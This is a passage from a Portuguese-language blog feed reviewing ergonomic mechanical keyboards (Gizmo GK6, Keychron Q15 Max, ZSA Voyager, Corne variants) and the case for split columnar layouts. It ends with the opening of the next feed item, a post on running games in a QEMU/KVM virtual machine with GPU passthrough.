<p>Assim como seu irmão maior, o Moonlander, mas diferente dos Cornes e outros modelos mais baratos, o Planck EZ tinha LEDs coloridos em cada tecla. Parece bobagem, mas agora que você entendeu que dá pra configurar diversas camadas, imagine como é mais intuitivo de encontrar o que procura se, quando apertar um modificador como o &ldquo;MO(1)&rdquo;, acender em cores customizadas que te ajudam a lembrar o que era o que.</p>
<p>Por exemplo, no video acima, dá pra ver uma camada que acende parecendo uma calculadora. Veja como acendem embaixo dos 9 números principais, daí 3 teclas na direita e 3 na esquerda com funções como adição, multiplicação, etc, igual à configuração que fiz no Oryx abaixo, entenderam a utilidade?</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/en1vwj0ukc98fvddja8jgnzijsxz" alt="Oryx, calc"  loading="lazy" /></p>
<p>O problema é que uma vez que se acostuma com split, voltar pra um monolito como esse é muito chato. Trazer as mãos pra perto e ter que angular os pulsos é cansativo. É exatamente o cansaço que se tem todo dia num teclado convencional. Seus pulsos não foram feitos pra serem nem dobrados e nem rotacionados. Um teclado convencional faz exatamente tudo que seus pulsos odeiam.</p>
<p><strong>A solução é tenting e split</strong>. Mesmo se tenting ocupar muito espaço, no mínimo split já vai fazer muita diferença. Mas enfim, existe esse meio do caminho entre teclado convencional e teclado colunar, que não exige se acostumar ao split logo de cara. É esse layout <strong>ortolinear</strong>, que é um colunar não-staggered, ou seja, onde linhas e colunas estão perfeitamente alinhadas, ortogonais e alinhadas (orto-linear, entenderam?), sem levar em consideração o diferente comprimento de cada dedo.</p>
<p>Nessa categoria existem dois modelos que gostei muito. O primeiro é da <a href="https://www.gizmo.engineering/"target="_blank" rel="noopener">Gizmo Engineering, o GK6</a>. No meu caso, o modelo Imperial Panda. Todo fã de anime dos anos 2000 gosta do esquema de cor de Panda, como em Initial D.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/xifzigq5wf3c1h1ykwo31co4bcy5" alt="Moonlander vs GK6"  loading="lazy" /></p>
<p>Na foto coloquei embaixo do Moonlander, pra demonstrar o que falei antes: uma das desvantagens do Moonlander é ser um trambolho na mesa, e não é exagero. Agora, esse GK6, é extremamente bem construído, uma obra de arte na mesa.</p>
<p>O case dele é um unibody de alumínio, nível Apple de qualidade. Internamente tem espuma pra &ldquo;dampening&rdquo; do som (não vir aquele &ldquo;ping&rdquo; oco), as teclas são de extrema qualidade, dá pra sentir nos dedos a diferença. Cada posição de switch na placa mãe tem LED RGB. O único problema é que esses materiais todos são pesados. No final o teclado tem mais de 800g, <strong>quase 1 quilo</strong>, e dá pra sentir. Pra carregar na mochila já dá pra sentir bem mais pesado. É quase o dobro do peso do antigo Planck EZ que era quase todo de plástico.</p>
<p>Em termos de layout, comparado com o Corne que é 40%, este é 60%, tem 59 teclas, porque a barra de espaço ocupa dois espaços - dá pra tirar o estabilizador e dividir em duas teclas, se quiser. A diferença principal pro Corne é que tem uma linha a mais no topo, a linha de teclas numéricas. Pra quem está acostumado a usar teclados <strong>Tenkey-less</strong> (teclado convencional sem teclado numérico, como da maioria dos notebooks), tende a não ter tanto problema pra se adaptar a este layout.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/x7d1hlkksi7an3i4iyl2eb4o657r" alt="GK6 close up"  loading="lazy" /></p>
<p>É possível usar assim, mas recomendo mudar as teclas de lugar. Como um bom teclado moderno, o GK6 tem firmware que podemos customizar. Está tudo documentado <a href="https://www.gizmo.engineering/firmware"target="_blank" rel="noopener">nesta página</a> no site deles e, claro, é baseado em QMK, então podemos mudar coisas que não fazem sentido, como o &ldquo;backspace&rdquo; que fica no canto superior direito e jogar, por exemplo, pra uma das teclas do dedão, economizando seu mindinho direito. Tem gente que não gosta de fazer isso, mas recomendo tentar. Mesma coisa o enter/return, mudar pra um dos dedões.</p>
<p>O maior problema do GK6 é que sempre está fora de estoque, e o preço é bem salgado: USD 250, sem contar transporte nem impostos. Tem várias cores muito boas pra escolher, então, fiquem de olho pra quando voltar o estoque.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/zjhjrzuvtd4azlf61v613oi7me0u" alt="GK6 bottom"  loading="lazy" /></p>
<p>Sério, olha essa foto, a traseira deste teclado é mais bonita do que a frente da grande maioria dos teclados comerciais. Isso é unibody de alumínio com o nome do teclado esculpido em relevo baixo.</p>
<p><a name="ortolineares-q15"></a></p>
<h2>Ortolineares - Q15<span class="hx:absolute hx:-mt-20" id="ortolineares---q15"></span>
    <a href="#ortolineares---q15" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Mas se não tem paciência e tem dinheiro sobrando, sempre tem a opção da <strong>Keychron</strong>, que se estabelece com a marca de teclados com a maior variedade de todas. Pense num estilo, eles tem. De todos os tamanhos, de todas as qualidades, mas todos muito caros. Pelo menos, sempre costuma ter estoque.</p>
<p>E na linha ortolinear, temos que ver o <a href="https://keychronbrasil.com.br/products/keychron-q15-max-qmk-teclado-mecanico-custom-wireless"target="_blank" rel="noopener">Keychron Q15 max</a> que tem no Brasil mas está a bagatela de nada menos que R$ 2.229,00, quase USD 400 dólares. É BEM caro.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/dkrgad9ki9irl5v51erlbff2q3h3" alt="Keychron Q15 Max"  loading="lazy" /></p>
<p>Mesma coisa, comparando o tamanho com o monstruoso Moonlander. Mas veja que também é compacto. Em termos de dimensões é muito próximo do Gizmo GK6. Mas muito mais pesado, em vez de 800g, esse tem <strong>1.2 quilo</strong>. É 50% mais pesado e dá pra sentir carregando. Este, definitivamente seus ombros vão chorar quando carregar na mochila. É literalmente o peso de um Macbook Air inteiro!</p>
<p>Ele é mais caro e mais pesado porque realmente tem muito mais material. Faz o GK6 parecer teclado de hobbista. Também tem case em unibody de alumínio, múltiplas camadas, design double-gasket, espuma de dampening, camada de latex, etc. Olha isso, direto do site deles:</p>
<p><img src="https://cdn.shopify.com/s/files/1/0578/7815/1346/files/Q15-Max-structur.jpg?v=1723147312" alt="Q15 layers"  loading="lazy" /></p>
<p>Além disso tem <strong>dois rotary</strong>, um em cada canto superior, que nem o Hillside que o Felipe tinha montado pra mim, mas este tem acabamento bem profissional. Serve não só pra controlar volume, mas é muito desejável em workflows de Photoshop, Premiere, Da Vinci Resolve. Toda vez que precisar lidar com timelines, gradientes, coisas que modificam ranges de valores com precisão. Pra isso esses rotary são muito melhores do que só mouse ou combinação de teclas.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/4oja3or2pjk97ex482s7a8dont6k" alt="Q15 close up"  loading="lazy" /></p>
<p>Além disso, notem como tem teclas duplas e triplas. Ele vem com teclas extras, e essas teclas maiores tem estabilizadores, dá pra tirar e dividir em mais teclas menores. Dá pra customizar de vários jeito diferentes e, pra variar, também tem firmware baseado em QMK e um aplicativo visual pra ficar mais fácil de mudar o layout só com mouse, em vez de ter que editar um arquivo JSON.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/t0wr29gfjxsw0av8vjd9tkh6l7z5" alt="Q15 bottom"  loading="lazy" /></p>
<p>Eu elogiei a traseira do GK6, mas o Q15 Max não fica atrás. Novamente, unibody de alumínio. Parafusos de bronze, se não me engano. Textura impecável. É uma obra de arte também. E dá pra ver a grossura extra desse teclado, é um pouco mais alto no topo, então é um pouco inclinado em vez de totalmente reto com o GK6. Este teclado já começa a exigir um apoio de pulso.</p>
<p>Agora, esse peso todo, e tantas camadas, também resultam num som muito mais encorpado e robusto, ouçam só:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/l-dLYSNyDKk"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Ouviram o barulho do peso do Q15 no chão? E conseguem entender a diferença nos sons? O Q15 não ecoa nada, o &ldquo;dampening&rdquo; dele é muito bom. O som é grave e encorpado. O GK6 também é muito bom, mas tem menos camadas. Em comparação dá pra sentir um pouquinho de eco no fim. Já os últimos dois são mais ocos por dentro, sem espuma, com materiais menos robustos, aí já tem um barulho um pouco mais agudo e ecoado. O ideal é o som do Q15. Nenhum deles é particularmente ruim, mas o Q15 é superior mesmo.</p>
<div class="video-container">
<video controls preload="auto"> <source src="https://cdn.shopify.com/videos/c/o/v/8f053eebc79f4e07a923e477e38d04d0.mp4" type="video/mp4"> Your browser does not support the video tag. </video>
</div>
<p>O exemplo acima é do próprio site da Keychron, mostrando como eles tem um aplicativo visual pra editar os layouts, parecido com o Oryx da ZSA também. Apesar de ser bom ter a liberdade de fazer o que quiser no nível da linguagem C com o QMK, pra teclados, eu realmente prefiro que exista uma opção visual assim. Nem todo mundo que vai comprar é programador e vai saber configurar terminal, python, git, etc. O ideal é ter as duas opções, mas o default ser plug-and-play, só plugar na USB, o aplicativo sobe o firmware e já era.</p>
<p><a name="voyager"></a></p>
<h2>Meu Melhor Teclado - Voyager<span class="hx:absolute hx:-mt-20" id="meu-melhor-teclado---voyager"></span>
    <a href="#meu-melhor-teclado---voyager" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Apesar de todos os elogios que vim fazendo a todos os teclados anteriores, eu não uso nenhum deles hoje em dia. Na verdade, recebi o Q15 Max e não tinha nem tirado da caixa até ter que tirar as fotos pra este artigo. Um dos problemas desse tipo de teclado é que já me acostumei ao meu layout, com minhas próprias camadas customizadas, então todo novo teclado, preciso passar pelo cansativo processo de editar layouts tudo de novo. Aí não tive paciência e acabei nem usando.</p>
<p>Se nenhum dos modelos comerciais existisse, o teclado ideal seria alguma variação de Corne. São pequenos e compactos, não ocupam quase nenhum espaço na mesa. Somado a switches e teclas Choc, ficam bem low profile. O PCB (placa controladores) não exige uso de case, pode ficar direto na mesa porque não tem nada embaixo que dá curto. Isso o torna  extremamente &ldquo;flat&rdquo; na mesa, não precisando usar nenhum tipo de apoio de pulso.</p>
<p>Além disso, é colunar staggered, que leva em consideração comprimento diferente dos dedos, e é split, que permite deixar as duas mãos bem separadas, evitando rotações desnecessárias. Finalmente, é totalmente customizável via QMK, onde posso colocar todas as camadas do jeito que eu quero. Ou seja, é o teclado perfeito.</p>
<p>Mas a ZSA, fabricante do descontinuado Planck EZ e do monstruoso Moonlander, resolveu criar um novo modelo, o <a href="https://www.zsa.io/voyager"target="_blank" rel="noopener">Voyager</a>. Eu acho que muito desse modelo veio do feedback de pessoas com o Ben Vallack. Sério, maratonem os videos do canal dele onde mostra passo a passo a pesquisa que fez pra determinar como o teclado perfeito deveria ser. E até vai além do ponto, ao extremo de criar um teclado com nada menos do que míseras 18 teclas (!!)</p>
<p>Não é prático, mas é ultrapassando os limites que sabemos onde está o limite:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/c18vkHG_7tY"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Ele começou a fazer os protótipos usando o Moonlander como base, removendo teclas, fazendo experimentos. E chegou à conclusão que o Moonlander seria ainda mais ergonômico e muito mais produtivo se fosse muito menor e com muito menos teclas. E a ZSA ouviu.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/wr7r2w8spl4kitmtr8oyg3si21tw" alt="Moonlander vs Voyager"  loading="lazy" /></p>
<p>Ele tem mais ou menos as mesmas dimensões do GK6 ou Q15, mas em formato &ldquo;split&rdquo;, dividido ao meio, o que possibilita mais flexibilidade e ergonomia. Note que a cor branca vai encardindo com o tempo. Ainda não sei o que é melhor pra limpar, mas o meu já está amarelando de tanto usar. Recomendo comprar a versão preta.</p>
<p>O Voyager é o Moonlander 2.0, um Corne comercial. É um pouco maior do que um Corne 40% porque tem a linha superior numérica. Eu acho que nem precisaria, mas não chega a atrapalhar. Ao contrário do meu Corne montado de forma caseira, o Voyager é &ldquo;slick&rdquo;, com cara de algo que a Apple construiria. Plásticos duros de alta qualidade, placa de metal atrás dando suporte, peso e rigidez, mas sem aumentar demais o peso total. Espessura fina, usando switches e teclas low profile, parecidas com as Choc que falei que gosto, e ainda com LEDs RGB em cada tecla. Tem tudo que gosto no Corne e mais um pouco.</p>
<p>Claro, assim como tudo nessa categoria, o Voyager também é bem caro. USD 365, sem contar transporte nem impostos. É a mesma faixa de preço do Q15 Max. Por isso falei: se preço menor for importante, um Corne montado manualmente faz a mesma coisa, e pode custar metade do preço ou menos! Falem com o Felipe!</p>
<p>Em comparação com o Corne, tem 2 teclas a menos em cada thumb-cluster. Isso foi um pouquinho chato no começo de me acostumar, mas hoje eu acho que foi a decisão certa: cada dedão não precisa de mais do que duas teclas. Este é um caso onde limitações são libertadoras. O senso-comum diz que ter mais teclas é melhor, mas os dedos precisam se mexer mais e é mais fácil de errar.</p>
<p>Isso vale a pena explicar. Vamos revisar o layout do meu Corne:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/hfnc3l660frcoayvq8oiz110h1kd" alt="camada 0 thumb cluster"  loading="lazy" /></p>
<p>Aqui cada dedão precisa lembrar a posição de 3 teclas. As mais usadas são backspace e barra de espaço, por isso coloco mais na ponta. Assim eu sempre sei que precisa esticar o dedão e nunca vou errar. Já &ldquo;delete&rdquo; e &ldquo;enter¨ se usa um pouco menos, deixo no meio, onde é só abaixar o dedão, sem esticar. Era assim que eu usava no Moonlander, Planck, Corne e outros.</p>
<p>Mas o Voyager só tem 2 teclas em cada dedão, como faz?</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/r0jooa947kshzk2gc35wphqlem2m" alt="oryx camada 0"  loading="lazy" /></p>
<p>Esta é a camada 0 (zero) do meu Voyager. Tem só backspace e espaço nas teclas maiores do thumb-cluster, mas note que acima tem as teclas &ldquo;hold&rdquo;, que é a mesma coisa que o &ldquo;MO(1)&rdquo; e &ldquo;MO(2)&rdquo; do QMK, lembram? Servem pra deixar apertado e mudar pra outra camada virtual. Se apertar esse &ldquo;hold 1&rdquo;, vai virar o seguinte:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/gn29nzx8jwsoakjf3em29d3dxg2t" alt="oryx camada 1"  loading="lazy" /></p>
<p>Agora sim, com o &ldquo;hold 1&rdquo; apertado na esquerda, posso apertar &ldquo;enter&rdquo; com dedão direito.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/05xfa8qfyjt7hpebv6ru9rmyxkf0" alt="oryx camada 2"  loading="lazy" /></p>
<p>Por outro lado, se deixar apertado &ldquo;hold 2&rdquo; com dedão direito, agora o backspace vira &ldquo;delete&rdquo; na esquerda. E com isso as mesmas funções estão disponíveis, mesmo tendo fisicamente menos teclas. É só aprender isso de camadas.</p>
<p>Mais do que camadas, tem coisas não uso tanto, com <em>&ldquo;tap-to-hold&rdquo;</em>. Você Dá pra apertar rápido uma vez e depois segurar a mesma tecla, e isso dá gatilho em outro evento. No caso da ferramenta de configuração Oryx, da ZSA, tem opções de configurar o que acontece só quando aperta e tira o dedo (<em>&ldquo;held&rdquo;</em>), ou quando aperta rápido duas vezes (<em>&ldquo;double-tapped&rdquo;</em>), ou quando aperta rápido uma vez e aperta de novo (<em>&ldquo;tapped and then held&rdquo;</em>) e deixa segurando. Ou seja, dá pra configurar no mínimo <strong>3 ações diferentes em cada tecla, em cada camada, e dá pra ter múltiplas camadas!</strong> São centenas de opções!</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/qou3zcgjw79mawagyatme0b0mbc2" alt="Oryx Voyager"  loading="lazy" /></p>
<p>Assim como a Keychron, a ZSA também tem um aplicativo visual via web. É muito mais cômodo do que editar um arquivo JSON. Ele tem já embutido botão pra compilar o firmware e, quando conectar seu teclado no modo de upload, o navegador consegue detectar e é plug-and-play pra subir o firmware. Não precisa instalar nada extra na sua máquina. É esse tipo de poimento comercial que uma opção mais barata como Corne não vai ter. O mais próximo é o QMK Configurator.</p>
<p>E diferente do Corne, o Voyager também tem LEDs RGB. Tá vendo no Oryx como tem opção de <em>&ldquo;set color&rdquo;</em>? Assim fica muito mais fácil pra lembrar onde que tá qual tecla, em qual camada. Até pra saber em que camada estamos neste momento. Muito melhor do que ter que memorizar tudo e não ter feedback nenhum. Acho muito importante o hardware ter alguma forma de comunicar seu estado atual.</p>
<p>Portanto, a experiência do software me faz querer experimentar mais com o Voyager ou Moonlander do que o GK6 que é QMK puro, por exemplo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ss2jz5lwpi19mwivpxj0mq4iqhkv" alt="Voyager close up"  loading="lazy" /></p>
<p>Novamente, olhem na minha mão como é fino. Cada metade tem pouco mais de 200g. Com os cabos, o total é menos de <strong>700g</strong>. É próximo do GK6, metade do Q15, mas parece ainda mais leve. O balanço do peso é muito bom.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/dco0ukkdnhi17i4y77x6mk80kbhp" alt="Voyager bottom"  loading="lazy" /></p>
<p>A traseira do Voyager não chega a ser tão elegante quanto do GK6 ou Q15, mesmo assim é bonito o suficiente e funcional, uma vibe mais industrial, com metal e parafusos à mostra e pontos de montagem pra anexar em suportes, caso queira usar em tripé, braço de cadeira ou em &ldquo;tenting&rdquo;. Eu não tentei nenhuma dessas opções, prefiro reto na mesa mesmo.</p>
<p>Mas tem <a href="https://www.reddit.com/r/ErgoMechKeyboards/comments/17fwd57/zsa_voyager_tenting_experiment/"target="_blank" rel="noopener">sub-reddits</a> com projetos de impressão 3D e coisas assim pra quem quiser experimentar tenting no Voyager. Veja um exemplo de lá:</p>
<p><a href="https://www.printables.com/model/597882-zsa-voyager-stand"target="_blank" rel="noopener"><img src="https://preview.redd.it/zsa-voyager-tenting-experiment-v0-kdfxc7d4x9wb1.jpg?width=640&amp;crop=smart&amp;auto=webp&amp;s=5615ebece5db23212ce5fda464039f6847cfcfc9" alt="Voyager tenting"  loading="lazy" /></a>
Tem esta outra opção usando um tripé chamado <a href="https://preview.redd.it/voyager-tenting-with-manfrotto-pocket-tripods-v0-49xxqiada5sb1.jpg?width=640&amp;crop=smart&amp;auto=webp&amp;s=bb095a3a9c18da455e661400e082e0cbaff513f3"target="_blank" rel="noopener">&ldquo;Manfrotto&rdquo;</a>:</p>
<p><img src="https://preview.redd.it/voyager-tenting-with-manfrotto-pocket-tripods-v0-49xxqiada5sb1.jpg?width=5712&amp;format=pjpg&amp;auto=webp&amp;s=cac876389d4ff94206b6b120446a90ae260db688" alt="Manfrotto tripod"  loading="lazy" /></p>
<p>Essa é uma opção que me vejo usando. E tem <a href="https://www.reddit.com/r/ErgoMechKeyboards/comments/16k7p4x/voyager_tenting/"target="_blank" rel="noopener">mais opções</a>. Eu gosto de tenting, é a única coisa que só o Moonlander faz de fábrica. Eu sentiria mais falta se ainda precisasse digitar muito todos os dias, mas como não preciso mais, prefiro o Voyager puro pra ser mais bonito e ocupar menos espaço na minha mesa.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ducayps3ys884gq2hucn7nl19ppf" alt="minha mesa com voyager"  loading="lazy" /></p>
<p>Esta é minha mesa em Outubro de 2024 e como tem sido por pelo menos 1 ano. Eu troco por outros teclados pra testar, mas sempre acabo voltando nesta configuração, por tudo que já expliquei antes. Eu uso o mouse na mão esquerda (porque minha mão direita dói mais, então me acostumei a usar com a esquerda pra doer os dois igual kkkk). Tenho um Apple Touchpad na direita pra coisas que exigem &ldquo;scrolling&rdquo; (dói muito menos do que &ldquo;scroll-wheel&rdquo; de mouse). E note como uso as duas metades do teclado bem afastados. Essa é uma distância boa, mas dá pra abrir bem mais se quiser.</p>
<p><a name="pulso"></a></p>
<h2>Ortolinear vs Colunar<span class="hx:absolute hx:-mt-20" id="ortolinear-vs-colunar"></span>
    <a href="#ortolinear-vs-colunar" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra ficar claro, achei melhor ilustrar o que significa esse papo todo de pulso. Veja como ficam suas mãos num teclado de uma única peça, um monolito:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/44ia6l5v13w8z5wz9vyhi8hda0c4" alt="pulso rotacionado"  loading="lazy" /></p>
<p>Está claro? Quando o teclado não é split, somos obrigados a trazer as duas mãos super pra perto. Obviamente a única forma de posicionar assim é dobrando os pulsos de uma forma não-natural. Somado à rotação (por não ser tenting), estamos pinçando os nervos e causando micro-lesões, todas as vezes.</p>
<p>Sim, pra quem usa pouco, esporadicamente, não faz diferença mesmo. Isso é pra nós, programadores, escritores, pessoas que digitam horas seguidas. Se você não for essa pessoa não me venha comentar <em>&ldquo;ain, eu não sinto isso&rdquo;</em>. Lógico, você digita pouco.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/8aab5kmzzyym6wr1dq4q8j365d8y" alt="voyager, perto"  loading="lazy" /></p>
<p>Se a intenção for construir um teclado monolito pelo fato de ser mais fácil de carregar na mochila ou algo assim, no mínimo, as duas metades deveriam estar num ângulo, como na foto acima. Dessa forma as mãos teriam que continuar próximas, mas não seria necessário dobrar os pulsos.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/rpe3wdfjduwim2aihulb2pf8sb4h" alt="Voyager, afastado"  loading="lazy" /></p>
<p>Claro, o ideal é split: duas metades que podem ser afastadas. Assim seus braços podem permanecer numa posição natural, reta, sem precisar dobrar nada, sem fazer esforço desnecessário. Isso permite ficar horas digitando sentindo pouca ou nenhuma dor. Se somar a um suporte embaixo, pra elevar o meio do teclado, criando tenting, aí sim, os braços ficam na posição mais neutra possível. E é por isso que eu prefiro este tipo de teclado: <strong>split-colunar-staggered</strong>.</p>
<p><a name="framework"></a></p>
<h2>O Futuro - Framework<span class="hx:absolute hx:-mt-20" id="o-futuro---framework"></span>
    <a href="#o-futuro---framework" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Este artigo foi só porque eu estava com esses teclados parados aqui. E não, não adianta mandar no comentário pra sortear, vender, nem nada disso. São parte da minha coleção, eu deixo na minha prateleira porque acho bonito e posso usar quando der na telha. Não vou me desfazer de nenhum. Não insistam!</p>
<p>Mas se tem uma coisa que me frustra são notebooks. Nenhum tem opção ortolinear. Então sempre preciso conectar um externo via USB ou então digitar mais devagar usando o layout convencional. Mas minhas esperanças aumentaram quando surgiu a empresa Framework.</p>
<div class="video-container">
<video controls preload="auto"> <source src="https://customer-gbu4wsrjcdamtxzc.cloudflarestream.com/864433f3f504c98ddc2d5837b4f081f9/downloads/default.mp4" type="video/mp4"> Your browser does not support the video tag. </video>
</div>
<p>Eles só tem dois modelos, o Laptop 13 e o Laptop 16. Meu ideal seria um 14&rdquo; com formato 3:2 como os Surface, mas o de 13&quot; é mais que suficiente. Eu conheci eles pelo canal <strong>Linus Tech Tips</strong>, pois o Linus Sebastian se tornou um dos primeiros patrocinadores/sócios do projeto.</p>
<p>A ideia parece simples, mas até hoje ninguém conseguiu fazer algo que não só funcione, mas dure anos. Esse laptop é todo modular. E não só nas coisas triviais como trocar uma porta HDMI externa por uma porta Ethernet ou USB 4. Mas também fazer upgrade de memória, e até de placa-mãe, GPU, monitor e &hellip; teclado!!</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Jack at <a href="https://twitter.com/OrtholinearKB?ref_src=twsrc%5Etfw">@OrtholinearKB</a> prepared a mockup of an ortholinear keyboard module for the Framework Laptop 16! Modularity opens up some incredible possibilities. <a href="https://t.co/hKqT3AMU7t">pic.twitter.com/hKqT3AMU7t</a></p>— Framework (@FrameworkPuter) <a href="https://twitter.com/FrameworkPuter/status/1648371892062130176?ref_src=twsrc%5Etfw">April 18, 2023</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>Olha só isso. Parece que já faz pelo menos um ano que estão trabalhando numa opção ortolinear! Isso seria meu sonho de consumo! Um teclado de notebook não é mais que um teclado com USB interno. Deveria ser simples de trocar, é mais uma questão de design industrial do que de tecnologia.</p>
<p>Eu estou quase já comprando um Framework Laptop 13 quando for pros EUA este ano, e quando sair o teclado, posso importar só ele (vai custar impostos, óbvio, mas pelo menos vai ser só o teclado). Aí eu terei o notebook definitivo pra digitadores profissionais!!</p>
<p>Esta é a última coisa que falta. Espero que realmente lancem logo e inspirem outros fabricantes a pensar em opções assim: destacáveis e modulares.</p>
<p>Como expliquei nos meus videos, em particular no primeiro video da trilogia, até hoje usamos layouts de teclados absolutamente ruins pras nossas mãos, pulsos e braços. Muitos que trabalham o dia todo digitando vão sofrer com LER e tendinite, mais cedo ou mais tarde. Tudo porque todo mundo tem preguiça de aprender coisas modernas.</p>
<p>Todos acham que é muito difícil, mas é só <strong>preguiça</strong> mesmo. Eu aprendi com mais de 40 anos. Não precisa ser um adolescente pra aprender essas coisas. É só parar de achar que não vai conseguir e fazer, sem pensar nas consequências. Melhor: se conseguir, a consequência é que vai digitar mais rápido, com menos erros e sem forçar suas mãos, evitando dores e doenças ortopédicas.</p>
<p>A Apple, o ápice do que usamos como referência quando pensamos em tecnologia moderna, só tem uma parte que tem fedor de velho: o teclado. Se ela fosse realmente corajosa, como Phil Schiller achava que era, o Macbook tinha que ser assim:</p>
<p><img src="https://preview.redd.it/concept-ortholinear-apple-silicon-macbook-pro-v0-kw2duliaxrea1.png?width=2440&amp;format=png&amp;auto=webp&amp;s=e899a4e2029b24620ecb3c34a1d0ab03ad7dda97" alt="Macbook Ortolinear"  loading="lazy" /></p>
<p>Isso sim, seria um Macbook do século 21, deixando as limitações do layout de máquina de escrever do começo do século 20 pra trás. Por agora, já me dou por satisfeito com meu ZSA Voyager, que é meu &ldquo;daily-driver&rdquo; e faz tudo exatamente do jeito que preciso. Não pretendo descer abaixo dos 40% e ficar fazendo malabarismo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/015nq7sqccm833ttzeqymrbxe3j8" alt="Coleção"  loading="lazy" /></p>
<p>Eu falei de &ldquo;Corne&rdquo;, mas é só porque é o nome mais popular. Falei que o Felipe me fez um Hillside que é um Corne com rotary, mas existem dezenas de variações como Lily58, Skeletyl, CRKBD, Scylla, Sofie, Totem e muito mais.</p>
<p>Sabe onde consegue ver várias delas? No perfil de Instagram do amigo <a href="https://www.instagram.com/tupinikeebs/"target="_blank" rel="noopener">Felipe/Tupinikeebs</a>. Ele sempre posta um <em>keeb</em> novo por lá, então fique de olho, leve em consideração tudo que falei sobre tamanho, peso, mobilidade, bateria, layouts, 60% vs 40% vs 30%, tenting, split, e encontre a combinação que faz mais sentido pro seu uso particular.</p>
<p>Modelos diferentes existem porque cada pessoa tem usos diferentes. Um escritor de livros é diferente de um programador que é diferente de um contador que é diferente de um cientista de dados e assim por diante. Não existe um teclado universal que funciona perfeitamente pra todo mundo. Sem contar a estética, cores, RGB, tipos de switch, materiais de teclas, etc. Não seja limitado, seja aberto às opções.</p>
<p>Novamente, praqueles que vão insistir em comentar sobre o lendário <strong>Kinesis</strong>, ele é diferente de todos que já mostrei. Eu sei. Tem o formato de uma bacia no centro de cada metade, É uma outra forma de otimizar pra comprimentos diferentes em cada dedo. Em vez de Corne, o que vocês querem é o <strong>Scylla</strong>. Adivinha quem já postou sobre isso? O Felipe:</p>
<p><a href="https://www.instagram.com/p/DBHSdDrR_bR/?utm_source=ig_web_button_share_sheet&amp;igsh=MzRlODBiNWFlZA=="target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ch3u7epuje0xfk395jikxi95jijy" alt="Scylla"  loading="lazy" /></a>
E por hoje é isso aí, espero que tenham gostado. Não deixem de assistir os videos da trilogia onde explico muito mais detalhes de tudo isso. Só depois pensem em mandar perguntas nos comentários!</p>
]]></content:encoded><category>teclados</category><category>hardware</category><category>reviews</category></item><item><title>[Akitando] #137 - Games em Máquina Virtual com GPU Passthrough | Entendendo QEMU, KVM, Libvirt</title><link>https://akitaonrails.github.io/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt/</link><guid isPermaLink="true">https://akitaonrails.github.io/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt/</guid><pubDate>Wed, 01 Feb 2023 08:00:00 -0300</pubDate><description>&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/IDnabc3DjYY"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;Este episódio levou literalmente MESES pra eu conseguir fazer. Entre atualizar o hardware da minha máquina, testar todo tipo de combinação de configuração, até conseguir rodar jogos da Steam, num Windows virtualizado, a quase mesma velocidade que nativo.&lt;/p&gt;
&lt;p&gt;Hoje vamos entender o que é QEMU, KVM, Libvirt, como passar uma GPU da NVIDIA diretamente pra dentro de uma VM, e como garantir a máxima performance na virtualização, incluindo entender como diversos componentes de hardware e do Linux funcionam.&lt;/p&gt;</description><content:encoded><![CDATA[

<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/IDnabc3DjYY"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

